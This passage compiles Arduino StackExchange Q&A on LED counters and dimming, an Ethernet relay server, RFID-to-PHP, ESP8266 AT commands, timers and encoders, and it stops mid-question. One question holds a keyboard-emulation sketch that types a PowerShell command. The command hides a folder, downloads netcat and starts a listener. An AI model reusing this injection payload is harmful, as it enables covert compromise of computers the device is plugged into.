A few notes:

• The contents of `num_array_1` look identical to those of `num_array_2`.  Ordinarily there is no need to have two copies of the same constant array, so get rid of one or the other.

• It doesn't make sense to use four different lengthy sections of code that do about the same trivial things, incrementing or decrementing a counter, displaying its value, and then doing some kind of switch check.  Instead, use one section of code that handles all the cases.  See example 1 below.

• In three of those four different sections of code just referred to, in effect you say
`if (button_state == LOW) { start = !start; }` and in one of them, you say
`while (button_state == LOW) { start = !start; }`.  That statement loops forever if encountered when `button_state` is `LOW`.

• `int counter_1` and `int counter_2` declared in `setup()` are not the same variables as the ones of the same name declared in `loop()`.  If you want them to be the same, declare them at global scope before `setup()`, and don't declare them within either of `setup()` or `loop()`.

•  As declared in `loop()`, `counter_1` and `_2` are automatic local variables, uninitialized and technically of undefined value.  See discussion in [an answer to “local variable initialized to zero in C” ](https://stackoverflow.com/a/21152256/837847) on stackoverflow.

• It doesn't make sense to use two different display-a-digit functions that do about the same thing.  Instead, use one function to handle both cases.  See example 2 below.

• You can save 126 bytes each of RAM and Flash by storing the ones and zeroes of `num_array_1` or `_2` packed into bytes.  See example 3 below.
***
*Example 1:*  First, declare `int dir`, which will be 1 when counting up, and -1 when counting down.  To change direction, say `dir = -dir;`.  To step the count, say:

    count += dir;
    if (dir<0)  dir = 0;
    if (dir>99) dir = 99;
    showDigit(count/10, 40); // Hi digit ports are 40...46
    showDigit(count, 22); // Lo digit ports are 22...28

After stepping the counter and showing its digits, you can do your check some kind of switch thing, once in one place instead of spread out in four different places.  Note, you could (and should) create symbolic constants that stand for 40 and 22, via an `enum` like the following, and then use the symbols instead of hardcoded numbers in the `showDigit()` calls.

    enum { hiDigitAt=40, loDigitAt=22};
    ...
    showDigit(count/10, hiDigitAt);
    showDigit(count, loDigitAt);
***
*Example 2:*  Your `Num_Write_1()` and `_2` functions are identical except that one says `int pin= 22;` and the other `int pin= 40;`.  To combine them, you can add a parameter specifying the starting pin number:

    void showDigit(byte value, byte basePin) {
      for (byte j=0; j < 7; ++j) {
        digitalWrite(basePin+j, num_array_1[value][j]);
    }
***
*Example 3:*  Instead of using 14 bytes of RAM and 14 bytes of Flash for each entry in your digit-segments-pattern arrays, you can pack the seven ones and zeroes that represent one digit into a single byte.  For example, `{ 0,1,1,0,0,0,0 }, // 1` converts to `0b0110000, // 1`.  Then use shifts to unpack the bits, as below.

    byte digitPats[10] =
         { 0b1111110, 0b0110000, 0b1101101, 0b1111001, 0b0110011,
           0b1011011, 0b1011111, 0b1110000, 0b1111111, 0b1110011
         };
    ...
    void showDigit(byte value, byte basePin) {
      byte pattern = digitPats[value], bitj;
      for (byte j=0; j < 7; ++j) {
        bitj = (pattern & 64)>>6;
        digitalWrite(basePin+j, bitj);
        pattern *= 2;  // Shift the pattern one bit left
    }


message:
How do I add dimming control to my following LED toggling program on Arduino? Also how do I improve my existing code?

[![enter image description here][1]][1]

  [1]: https://i.stack.imgur.com/lplLC.jpg

I am attaching my code below :

    int cwled=9;
    int wwled=10;
    int button=8;
    int buttonpress;
    long startTime=0;
    long endTime;
    long holdTime;
    boolean previous = LOW;
    boolean current;
    int state=0;
    int pot = A0;
    boolean cwState = HIGH;
    boolean wwState = LOW;
    int brightness;
    int counter = 1;
    boolean pressB;

    void setup(){
      pinMode(cwled,OUTPUT);
      pinMode(wwled,OUTPUT);
      pinMode(button,INPUT);
      Serial.begin(9600);

    }

    void loop() {
      if(state == 0){
        brightness= map(analogRead(pot),0,1023, 0, 255);
            analogWrite(cwled,brightness);
           // analogWrite(wwled,0);
            Serial.println("Initialized");
      }
      current= digitalRead(button);
      if(current == HIGH){
      pressDetection();
      state =1;
      }
    }

    void pressDetection(){
      pressB=digitalRead(button);
      if(pressB==HIGH && previous == LOW)
      {
        state =1;
        startTime = millis();
      }
      while(digitalRead(button) == HIGH){
        endTime = millis();
        Serial.println("Inside loop");
      }
      previous = LOW;
      holdTime = endTime - startTime;
      if(holdTime> 500){
        longPress();
      }
      else{
        shortPress();
      }

      }

    void shortPress(){
      cwState = !cwState;
      wwState = !wwState;
      //brightness= map(analogRead(pot),0,1023, 0, 255);
      if(cwState == HIGH && wwState == LOW){
       brightness= map(analogRead(pot),0,1023, 0, 255);
       digitalWrite(cwled,HIGH);
       digitalWrite(wwled,LOW);
       Serial.println("cwState");
       return;
      }
      if(cwState == LOW && wwState == HIGH){
      // brightness= map(analogRead(pot),0,1023, 0, 255);
       digitalWrite(wwled,HIGH);
       digitalWrite(cwled,LOW);
       Serial.println("wwState");
       return;
      }
     /*else if(cwState == HIGH && wwState == HIGH){
       //brightness= map(analogRead(pot),0,1023, 0, 255);
       digitalWrite(cwled,HIGH);
       digitalWrite(wwled,LOW);
      }*/
    }

    void longPress(){

       cwState =wwState = HIGH;

       //if(cwState == HIGH && wwState == HIGH){
     //  brightness= map(analogRead(pot),0,1023, 0, 255);
       digitalWrite(wwled,HIGH);
       digitalWrite(cwled,HIGH);
      cwState = !cwState;

     //}

    }

I understand there are so many variables unused, this program needs a lot of improvising.
My question is:

 1. How do I improve this code?
 2. How do I add dimming via pwm in this code?
 3. And if I have to add one more type of LED or say n number of LEDs and want to toggle between them what should be the algorithm.

My aim is to use a push button to switch between different types of LEDs (in my case between warmwhite LED and coldwhite LED, if Arduino registers long press off the push button all the LEDs light up, in my case both warmwhite and coldwhite LEDs turn on, and short press of push button toggles between warmwhite and coldwhite LED. The program by default switches on coldwhite LED first and after a long press, shortpress sets default LED to high which is coldwhite.

I am not a hardcore programmer but I have more than basic knowledge of OOPS programming. I am an ECE Engineer and I believe I have slightly more than basic understanding of OOPS and procedural programming. I am aware of C++, C and JAVA only. Any advice or help would be highly appreciated.

body:
**How do you improve your code?**

Firstly there is nothing disastrously wrong with you code, it could do with a polish, but who's code couldn't?

In the dim and very distant past I was told "you write code once but read it many times" so try and make your code readable and clear.

 1. If the values aren't going to change then they should be constants or #defines.
 2. ***ALWAYS*** initialise variables.  (Doesn't matter on an Arduino because the compiler does it for you, but its good practice).
 3. Boolean should be true or false.
 4. You are writing C/C++ not Java.  Opening braces { should be on a new line.  It makes the code easier to read and match up the braces.
 5. Unless your space bar is broken, put spaces after commas and either side of equals.
 6. Using function parameters and less global variables will make you code more reusable.  Imagine the day when you start a new project and copy and paste functions from previous projects and finish the code in 15 minutes.
 7. One statement per line.  `cwState = wwState = HIGH;`.  In this case its not a problem, but you can get into states where side affects screw everything up.  Also its easier to read.
 8. Comment the code as you go, because you'll never go back.
 9. Explain what each function does, because you'll have forgot by
    tomorrow.

I hope that helps you write better code and none of it has caused offence.


body:
Putting aside the long press vs. short press, alternating the pwm generation is fairly simple.

1. Use an adc interrupt to periodically read the pot and update a variable that holds the duty cycle.

2. Use an interrupt to track the button input. In the isr, use a static variable to track which pwm pulse train is running. Upon button presses, update the variable and then use it to steer pwm output.

With this structure, your loop() is entirely empty and the functionalities (reading the pot, pwm generation and output steering) is done entirely in the background.

As to the long pushes, you can use a timer to track the button hold time and it returns not just the state of the button but also long vs. short presses.


message:
Why doesn't this code work?

I'm having trouble programming an Arduino Uno with this sketch, the sketch compiles and I get full serial output and an IP address, but no web browser can connect to it.

I've tried this Arduino example (https://www.arduino.cc/en/Tutorial/WebServer) and it works right out of the box, I don't understand why my code therefore doesn't work.

My code is below:

    #include <SPI.h>
    #include <Ethernet.h>

    // Bootup millisecond counter
    const unsigned long started     = millis();

    // Serial settings
    const int SERIAL_BAUDRATE       = 9600;

    // Non-DHCP ethernet settings:
    // Device MAC address: DE:AD:BE:EF:FE:ED
    const byte mac[] = {
      0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED
    };
    IPAddress ip(
      192, 168, 1, 177
    );

    // Pins
    const int P_RELAY               = 7;
    const int P_ON_LED              = 8;
    const int P_OFF_LED             = 9;
    const int P_SW_MAN              = 10;

    // Relay power states
    const char B_RELAY_ON           = HIGH;
    const char B_RELAY_OFF          = LOW;

    // Relay switching state
    boolean RELAY_STATE             = false;

    // Network/web data
    EthernetServer server(80);
    String readString;
    String localIp;

    // Testing switches
    const boolean connectToEthernet = true;
    const boolean hostWebServer     = true;
    const boolean useDHCP           = false;
    const boolean testRelay         = false;

    // Testing settings
    const int testRelayDelay        = 500;

    // Formats an IPAddress nicely as a string for printing
    String displayAddress(IPAddress address) {
      return String(address[0]) + "." +
             String(address[1]) + "." +
             String(address[2]) + "." +
             String(address[3]);
    }

    void setup() {
      const unsigned long started = millis();
      delay(50); // allow some time (50 ms) after powerup and sketch start, for the Wiznet W5100 Reset IC to release and come out of reset.
      Serial.begin(SERIAL_BAUDRATE);
      Serial.println("HTTP Web Remote Power-Point Controller.");
      Serial.println();
      if (connectToEthernet) {
        Serial.println("Connecting to Ethernet...");
        if (useDHCP) {
          Ethernet.begin(mac);
          Serial.println("Obtaining IP address...");
          localIp = displayAddress(Ethernet.localIP());
        } else {
          Ethernet.begin(mac, ip);
          localIp = displayAddress(ip);
        }
        if (localIp != "0.0.0.0") {
          Serial.println("Connected. IP: " + localIp);
          if (hostWebServer) {
            Serial.println("Starting Ethernet server...");
            server.begin();
            Serial.println("Started.");
          }
        } else {
          Serial.println("Error: No address provided via DHCP.");
          Serial.println("Please check your network connection and settings, and try again.");
          while (1);
        }
      }
      Serial.println("Configuring pins...");
      pinMode(P_RELAY, OUTPUT);
      pinMode(P_ON_LED, OUTPUT);
      pinMode(P_OFF_LED, OUTPUT);
      pinMode(P_SW_MAN, INPUT_PULLUP);
      Serial.println("Pins configured.");
      Serial.println("Pin Information: \n            Relay: " + String(P_RELAY) +
                                      "\n           On LED: " + String(P_ON_LED) +
                                      "\n          Off LED: " + String(P_OFF_LED) +
                                      "\n    Manual Switch: " + String(P_SW_MAN));
      if (hostWebServer && connectToEthernet) {
        Serial.println("Remote controller interface is running at http://" + localIp + "/");
      }
      if (testRelay) {
        Serial.println("Testing relay mode enabled.");
        Serial.println("Toggling relay every " + String(testRelayDelay) + " milliseconds...");
      }
      const unsigned long starttime = (millis() - started);
      Serial.println("Startup took " + String(starttime) + " milliseconds.");
    }

    void loop() {
      if (testRelay) {
        delay(testRelayDelay);
        if (RELAY_STATE) {
          toggleRelay(false);
        } else {
          toggleRelay(true);
        }
      }
      if (useDHCP) {
        byte dhcpRenew = Ethernet.maintain();
        if (dhcpRenew == 1) {
          Serial.println("Dynamic DHCP lease renewal failed.");
        } else if (dhcpRenew == 2) {
          Serial.println("Dynamic DHCP lease was renewed.");
        } else if (dhcpRenew == 3) {
          Serial.println("Dynamic DHCP lease rebind failed.");
        } else if (dhcpRenew == 4) {
          Serial.println("Dynamic DHCP lease was rebound.");
        }
      }
      EthernetClient client = server.available();
      if (client) {
        Serial.println("Client connected to web server.");
        while (client.connected()) {
          if (client.available()) {
            char c = client.read();
            if (readString.length() < 100) {
              readString += c;
            }

            if (String(c) == "\n") {
              Serial.println("Data received from HTTP client: " + String(readString));

              // HTTP header
              client.println("HTTP/1.1 200 OK");
              client.println("Content-Type: text/html");
              client.println("Connection: close");
              client.println();

              // HTTP body
              if (readString.indexOf("?state") > 0) {
                if (RELAY_STATE) {
                  client.print("1");
                } else {
                  client.print("0");
                }
              } else {
                client.println("<!DOCTYPE HTML>");
                client.println("");
                client.println("");
                client.println("<title>Power-Point Controller</title>");
                client.println("");
                client.println("");
                client.println("
hello world
");
                client.println("");
                client.println("");
              }

              delay(10);

              client.stop();
              Serial.println("Client disconnected from web server.");

              if (readString.indexOf("?relay=1") > 0) {
                toggleRelay(true);
              } else if (readString.indexOf("?relay=0") > 0) {
                toggleRelay(false);
              }

              readString = "";
            }
          }
        }
      }
    }

    void toggleRelay(bool state) {
      if (state == true) {
        digitalWrite(P_OFF_LED, LOW);
        digitalWrite(P_RELAY, B_RELAY_ON);
        digitalWrite(P_ON_LED, HIGH);
        RELAY_STATE = true;
        Serial.println("Relay State: ON");
      } else if (state == false) {
        digitalWrite(P_ON_LED, LOW);
        digitalWrite(P_RELAY, B_RELAY_OFF);
        digitalWrite(P_OFF_LED, HIGH);
        RELAY_STATE = false;
        Serial.println("Relay State: OFF");
      }
    }

body:
> I don't understand why my code therefore doesn't work.

Without any in-depth analysis of your code I would suspect that you have simply run out of memory. It is easy to forget that the Arduino Uno is a very small machine with limited resources.

Here are some steps forward:

 1. Check memory status (compile and run-time).
 2. Use the F() macro to force string literals to be stored in program memory.
 3. Reduce String class operators especially on print statements. Simply replace with multiple print statements.

Cheers!


message:
Why does Keyboard.Print adds random values to url?

I'm trying to print a sequence of power shell commands including a url to the powershell interpreter but every time I execute it with the Arduino Micro it adds random values to the url. Here's the normal print statement.

    Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
        typeKey(KEY_RETURN);

I'm passing this link `https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip` to a variable called `$url` and here is the actual output when the command executes

      cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip"); foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)

notice how the $url now has random values in them?

    https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip

Also If you try copying and pasting the url I posted above on a browser, the url doesn't work. But if you go to `https://eternallybored.org/misc/netcat/` and copy link location of `netcat 1.11` which is the same url and paste it. The url works...

I don't understand why this is happening any thoughts?

Full code

    void typeKey(int key) {

      Keyboard.press(key);
      delay(50);
      Keyboard.release(key);
    }

    /* Init function */

    void setup() {
      //Beging Keyboard Stream
      Keyboard.begin();
      delay(500);

      Keyboard.press(KEY_LEFT_GUI);
      delay(4000);
      Keyboard.press('r');
      delay(4000);

      Keyboard.releaseAll();

      delay(1000);

      Keyboard.print("powershell");

      typeKey(KEY_RETURN);

        delay(1000);
        Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
        typeKey(KEY_RETURN);

        Keyboard.end();
    }
        void loop() {
        }

body:
You have some unicode characters in your URL. Remove them.

    https://eternallybored.org/misc/netcat/netcat-win32-1.<200c><200b>11.zip
                                                          ^^^^^^^^^^^^


message:
How to send arduino data to php code

I'm new to arduino. I'm doing a project where I need to send a RFID UID to php code. The UID will be detected by the arduino and the rest will happen at the php side. for that I need to get this UID at oho side. I'm using RFID-RC522 and arduino mega 2560. how can I do this?

also I found couple of posts about ethernet. is it the only solution for this? if I use an ethernet shield will it block any ports which I'm using on arduino for connecting the RFID things?

thank you

body:
There is a lot of WiFi and ethernet shields, most of them(if not all) will not block your RFID especially if you use Mega2560. You must have a network connection for talking with php server, so YES, you need WiFi or ethernet shield.

Hope i'll help.

Yoav


body:
Welcome to SE:Arduino.

Shields are usually designed so that the pins are still fully accessible.  The shield has a set of male connectors on the underside and female connectors (same as your Arduino) on the top side.  Just Google a pic of a shield and you will see what I mean.

Ethernet is not the only choice, there is Wi-Fi, Bluetooth, NFC, radio and probably a point to point light link.  What ever communication method you select, you would need to use HTTP POST messages to your server, so your server will have to implement a REST or SOAP interface. (There are probably other ways, but I'm not a webbie so you will need to ask them on the correct SE forum)

Once you have created your message on the Arduino you send it to your shield, probably by a function call or over a serial interface.  You'll get an OK back and all is good.

To find code that does this, just search, someone will have written and example, Adafruit and the Arduino.cc sites are good places to start.


body: If you can use Wi-Fi, I suggest you to use **ESP8266-01**, it's cheap and usefull ! With this chip you can send all data to your server!


message:
Whats the function of the resistor between MCU and its Resonator in Arduino Mega?

I was looking Arduino Mega's [schematic][1] and I noticed a resistor between the MCU and its resonator. R3 in this image:

[![enter image description here][2]][2]

Why is it there and what is its function?

  [1]: https://www.arduino.cc/en/uploads/Main/arduino-mega2560-schematic.pdf
  [2]: https://i.stack.imgur.com/fadvk.png

body:
That resistor limits the drive through the crystal.  If the power applied to the crystal is too high then the slope and phase shift at the resonant frequency will not be optimal and at really high drive levels could cause mechanical damage to the crystal (like that shattered wine glass trick).

See good instruction PDF [here][1], section 2.1.

  [1]: https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=4&cad=rja&uact=8&ved=0ahUKEwiozMK9gJXRAhWKrVQKHf7WBYwQFgg4MAM&url=http://www.geyer-electronic.com/fileadmin/user_upload/frequenz/service/Quarz-Tutorial_en_2.2_Geyer.pdf&usg=AFQjCNHvE9vkQIcqmR2YDzRe2AySD0kHWw&bvm=bv.142059868,d.cGw


message:
What do I do about a compiler error " variable 'font' must be const"

I am trying to run the test program from Adafruit, with their libraries, for an Arduino controlling a Nokia5110 display and get this error message:

    Arduino: 1.5.8 (Linux), Board: "Arduino Pro or Pro Mini, ATmega328 (5V, 16 MHz)"

        /home/Harry/Arduino/libraries/Adafruit_GFX/glcdfont.c:9:23: error: variable 'font' must be const in order to be put into read-only section by means of '__attribute__((progmem))'
         static unsigned char  font[] PROGMEM = {
                               ^
        Error compiling.

Please can anyone explain this? I can happily give more details, but I am not yet sure how much is needed and the files are rather too long to include them all at this stage.

body:
You can not change variables in PROGMEM memory.
Therefore the variable must be a const variable.
This way the compiler can check whether you try to change the value or not.


body:
The problem is you're using an old version of the Adafruit GFX Library, which was written for a previous version of the Arduino IDE. You just need to install the latest version of the library and your problem will be solved:

1. Download https://github.com/adafruit/Adafruit-GFX-Library/archive/master.zip
1. Unzip the downloaded file.
1. Rename the unzipped folder Adafruit_GFX
1. Replace /home/Harry/Arduino/libraries/Adafruit_GFX with the folder.

If you run into any other problems after doing that I recommend trying the latest version of the Arduino IDE. The version you're using is very outdated.


message:
How to insert into table in database after every 5 minutes using Real time clock module

I have RTC module attached to arduino mega,

to calculate time difference of minutes I am getting minute from the RTC module

and checking if passed time is greater than 5 minutes  then insert to MySQL table in database.

      int mint = util::getMinute();

      if (util::getMinute() - mint >= 5)

      {
        // inserting to sql database on mysql server
        INSERT_SQL = "";
        INSERT_SQL.concat("INSERT INTO arduinoSensorData.outTempLog (out_temperature) VALUES ('");
        INSERT_SQL.concat(tempInC);
        INSERT_SQL.concat("');");

        const char *mycharp = INSERT_SQL.c_str();
        delay(1000);

        if (!connected) {
          my_conn.mysql_connect(server_addr, 3306, user, password);
          connected = true;
        }
        else if (connected == true)
        {
          delay(500);
          Serial.print("Inserting : ");
          Serial.println(INSERT_SQL);
          Serial.println("Connection Successfull,inserting to database.");
          my_conn.cmd_query(mycharp);

        }
        else {
          Serial.println("Connection failed.");
        }
        mint = util::getMinute();
      }

the full code is [here][1]

  [1]: https://github.com/sanfx/arduinoProject/blob/WIP/webServer_Displaying_everything_v01.ino#L336

body:
    int mint = util::getMinute();

    if (util::getMinute() - mint >= 5)

    {

Well, if `mint` is `util::getMinute()` then surely `util::getMinute() - mint` will *always* be 0.

I think you meant `mint` to be `static`, or a variable in the *global scope*.


body:
So I figured it out myself and used `millis` instead.

in global declaration I did:

    unsigned long sqlInsertInterval = 300000; // the repeat interval after 5 minutes

then initiate timer in setup method

      timer = millis(); // start timer

 followed by below changes in the loop method.

    void loop() {
      // perform sql insert after 5 minutes
      if ((millis() - timer) > sqlInsertInterval) {
        // timed out
        timer += sqlInsertInterval;// reset timer by moving it along to the next interval

        // inserting to sql database on mysql server
        INSERT_SQL = "";
        INSERT_SQL.concat("INSERT INTO arduinoSensorData.outTempLog (out_temperature) VALUES ('");
        INSERT_SQL.concat(tempInC);
        INSERT_SQL.concat("');");

        const char *mycharp = INSERT_SQL.c_str();
        if (!connected) {
          my_conn.mysql_connect(server_addr, 3306, user, password);
          connected = true;
        }
        else if (connected == true)
        {
          Serial.print("Inserting : ");
          Serial.println(INSERT_SQL);
          Serial.println("Connection Successfull,inserting to database.");
          my_conn.cmd_query(mycharp);

        }
        else {
          Serial.println("Connection failed.");
        }
      }
    }


message:
New tab VS OOP : which is better in Arduino

In C++, I understand that you can "multi-file" program and in Arduino, open a new tab. [This is what I mean by file.][1] Then, there is **O**bject **O**riented **P**rogramming or OOP for short (like with a `.cpp` and `.h` file.

Which of these 2 is a better method for splitting your code into multiple files? OOP seems more popular, but is also harder, but is there any real benefits for it?

I'm new to the world of OOP so **please** write an answer like if you would explain it to a newb! Also, I'm quite adventurous and so don't let difficulty change you anwsers bias!

*For those that want to close this question as off-topic, note that SO closed it in less then 10 minutes.*

  [1]: http://www.learncpp.com/cpp-tutorial/18-programs-with-multiple-files/

body:
`.cpp` and `.h` is *not* OOP. That is just splitting things into files. OOP is the use of classes and namespaces, etc. Those can be used just in one file alone.

What you are asking is actually is it better to make a *Library* or to have multiple files in your sketch. This has absolutely nothing to do with OOP.

In general:

* If you think you may need the code in other sketches then making it a library can be good.
* If it is distinct code that will only ever be used in the one sketch there is no point in going to the effort of making a library.

Once the code is compiled it makes little or no difference if it's in a "tab" or if it's in a "library".


body:
These are two different techniques; one of programming, the other of managing files. They are independent of one another; you an apply either, both, or neither, as fits the situation.

A true OO design starts from the beginning of the project, finds the commonalities among the kinds of data that will be managed by the finished product, and abstracts away the most common of those into one or more base classes, from which the more specific classes will be derived. OOP is a whole course of study.

An OK first approximation is simply to create data objects as you go. This lets you hide private information - those details of the object that depend on how you implement that object, but aren't real attributes of the real-world object the data-object represents. This is sometimes called "C with classes".

Based on your statement that you are "new to the world of OOP", I expect this will be your most effective strategy.

Dividing your code into files or modules by grouping those functions dealing with, say, stepper motors into one pair of files (stepper.c++, stepper.h), and those dealing with ultrasonic sensors into another pair (usound.c++/.h), etc. is a perfectly good way to organize your code into files, once your body of code gets too big to keep it one file effectively. This doesn't necessarily hide the private, implementation information although you can do that, too, very effectively with file-level static variables and static functions.

C++ was originally implemented as a pre-processor that emitted pure C constructs from C++ syntax. Which means: Whatever you can do in C++, you could also do in C. The only difference is the details are all right there in the open for anyone to see. C++ puts more of them "behind the curtain".

If you have a good handle on writing C- or C++-with-classes, make good use of static variables and functions, and good choices about what might best be grouped with what into your separate files, you'll be pretty well prepared to take on the additional concepts of OOP.


message:
Get data from website with ESP8266 using AT commands

I'm trying to get data from a website by sending a HTTP GET request via AT commands for the ESP8266. Here is my current code:

    #include <SoftwareSerial.h>

    const byte rxPin = 2;
    const byte txPin = 3;

    SoftwareSerial ESP8266 (rxPin, txPin);

    void setup() {
      Serial.begin(9600);
      ESP8266.begin(9600);
      delay(2000);
    }

    void printResponse() {
      while (ESP8266.available()) {
        Serial.println(ESP8266.readStringUntil('\n'));
      }
    }

    void loop() {

      ESP8266.println("AT+CIPMUX=1");
      delay(1000);
      printResponse();

      ESP8266.println("AT+CIPSTART=4,\"TCP\",\"192.168.1.19\",80");
      delay(1000);
      printResponse();

      String cmd = "GET /test.html HTTP/1.1";
      ESP8266.println("AT+CIPSEND=4," + String(cmd.length() + 4));
      delay(1000);

      ESP8266.println(cmd);
      delay(1000);
      ESP8266.println();
      delay(1000);
      printResponse();

      delay(5000);
    }

Running this code I get the following response:

    AT+CIPMUX=1

    OK
    AT+CIPSTART=4,"TCP","192.168.1.19",80
    4,CONNECT

    OK
    AT+CIPSEND=4,27

    OK
    >
    Recv 27 bytes

    SEND OK

    +IPD,4,

It looks like it gets a response, but nothing is printed.

I tried doing the same thing by sending the AT commands manually using this code:

    #include <SoftwareSerial.h>

    const byte rxPin = 2;
    const byte txPin = 3;
    SoftwareSerial ESP8266 (rxPin, txPin);

    void setup() {
      Serial.begin(9600);
      ESP8266.begin(9600);
    }

    void loop() {
      if (ESP8266.available()) {
        Serial.write(ESP8266.read());
      }
      if (Serial.available()) {
        ESP8266.write(Serial.read());
      }
    }

With this approach I actually get a response:

    AT+CIPMUX=1

    OK
    AT+CIPSTART=4,"TCP","192.168.1.19",80
    4,CONNECT

    OK
    AT+CIPSEND=4,27

    OK
    >
    Recv 27 bytes

    SEND OK

    +IPD,4,275:HTTP/1.1 200 OK
    Date: Thu, 22 Dec 2016 20:20:47 GMT
    Server: Apache/2.4.23 (Win64) PHP/5.6.25
    Last-Modified: Thu, 22 Dec 2016 19:37:22 GMT
    ETag: "13-5444465f69339"
    Accept-Ranges: bytes
    Content-Length: 19
    Connection: close
    Content-Type: text/html

    THIS IS MY WEBSITE!4,CLOSED

Does anyone know what is happening and how I can get this to work with my Arduino code?

Other ways to get data from a website are also welcome.

body:
As pointed out in the first comment, my `printResponse()` function was not working correctly when waiting for a response from a website. I changed my code to the following, and now it seems to work every time.

    #include <SoftwareSerial.h>

    const byte rxPin = 2;
    const byte txPin = 3;

    SoftwareSerial ESP8266 (rxPin, txPin);

    unsigned long lastTimeMillis = 0;

    void setup() {
      Serial.begin(9600);
      ESP8266.begin(9600);
      delay(2000);
    }

    void printResponse() {
      while (ESP8266.available()) {
        Serial.println(ESP8266.readStringUntil('\n'));
      }
    }

    void loop() {

      if (millis() - lastTimeMillis > 30000) {
        lastTimeMillis = millis();

        ESP8266.println("AT+CIPMUX=1");
        delay(1000);
        printResponse();

        ESP8266.println("AT+CIPSTART=4,\"TCP\",\"192.168.1.19\",80");
        delay(1000);
        printResponse();

        String cmd = "GET /test.html HTTP/1.1";
        ESP8266.println("AT+CIPSEND=4," + String(cmd.length() + 4));
        delay(1000);

        ESP8266.println(cmd);
        delay(1000);
        ESP8266.println("");
      }

      if (ESP8266.available()) {
        Serial.write(ESP8266.read());
      }

    }


body:
Slightly modified code. With the addition of a more correct query

```
#include <SoftwareSerial.h>

const byte rxPin = 2;
const byte txPin = 3;

SoftwareSerial ESP8266 (rxPin, txPin);

unsigned long lastTimeMillis = 0;

void setup() {
  Serial.begin(9600);
  ESP8266.begin(9600);
  delay(2000);
}

void printResponse() {
  while (ESP8266.available()) {
    Serial.println(ESP8266.readStringUntil('\n'));
  }
}

void loop() {

  if (millis() - lastTimeMillis < 3000) {
    lastTimeMillis = millis();

    ESP8266.println("AT+CIPMUX=1");
    delay(1000);
    printResponse();

    ESP8266.println("AT+CIPSTART=4,\"TCP\",\"192.168.0.79\",80");
    delay(1000);
    printResponse();

    String cmd = "GET / HTTP/1.1\r\nHost: 192.168.0.79\r\nConnection: close\r\n\r\n";
    ESP8266.println("AT+CIPSEND=4," + String(cmd.length() + 4));
    delay(1000);

    ESP8266.println(cmd);
    delay(1000);
    ESP8266.println("");
  }

  if (ESP8266.available()) {
    Serial.write(ESP8266.read());
  }

}
```


message:
How to detect the direction of a rotary encoder?

I'm trying to detect the direction of rotation for an incremental rotary encoder. I'm supposed to get +1 for clockwise and  -1  for counter-clockwise. However, I receive random values. Any help appreciated.

Following is the code.

    const int encoderPinA = 7;
    const int encoderPinB = 12;
    int val;
    int encoderPos = 0;
    boolean encoderALast = LOW; // remember the previous pin state

    void setup() {
      pinMode(encoderPinA,INPUT);
      pinMode(encoderPinB,INPUT);
      Serial.begin(9600);
    }

    void loop() {
      analogWrite(3,250); //powering motor
      val = encoder_direction();
      // receive the direction for clockwise 1 and for counter clock wise  -1
      Serial.println(val); // print it in serial monitor
    }

    int encoder_direction() {
      boolean encoderA = digitalRead(encoderPinA);
      if ((encoderALast == HIGH) && (encoderA == LOW)) {
        if (digitalRead(encoderPinB)) {
          //encoderPos --;
          encoderPos = -1;
        } else {
          //encoderPos ++;
          encoderPos = 1;
        }
        return  encoderPos;
        // return the value either 1 or -1
      }
      encoderALast = encoderA;
    }

---------------------------------------------------------------------------

    // using digitalread() code  for four encoders
    const int ENCODERS = 4; // the number of encoders
    const int encoderPinA[ENCODERS] = { 7, 8, A1 , 2 };
    // encoderA pins on 2 and 4
    const int encoderPinB[ENCODERS] = { 12, 5, 4 , A2 };
    // encoderB pins on 3 and 5
    int encoderPos[ ENCODERS] = { 0, 0, 0, 0 };
    // initialize the positions to 0
    boolean encoderALast[ENCODERS] = { LOW, LOW, LOW, LOW };
    // holds last state of encoderA pin

    void setup() {
      Serial.begin (9600);
    }

    int updatePosition(int encoderIndex) {
      boolean encoderA = digitalRead(encoderPinA[encoderIndex]);
      if ((encoderALast[encoderIndex] == HIGH) && (encoderA == LOW)) {
        if (digitalRead(encoderPinB[encoderIndex]) == LOW) {
          //encoderPos[encoderIndex]--;
          encoderPos[encoderIndex] = -1;
        } else {
          //encoderPos[encoderIndex]++;
          encoderPos[encoderIndex] = 1;
        }
        Serial.print("Encoder ");
        Serial.print(encoderIndex+1,DEC);
        Serial.print("=");
        Serial.println (encoderPos[encoderIndex]);
      }
      encoderALast[encoderIndex] = encoderA;
    }

    void loop() {
      updatePosition(0);
      updatePosition(1);
      updatePosition(2);
      updatePosition(3);
    }

---------------------------------------------------------

    // using direct access to digitalread code in order to process faster
    int val[4];
    int encoderPos = 0;
    boolean encoderALast[4] ={LOW, LOW, LOW, LOW};
    // remember the previous pin state

    void setup() {
      Serial.begin(9600);
    }
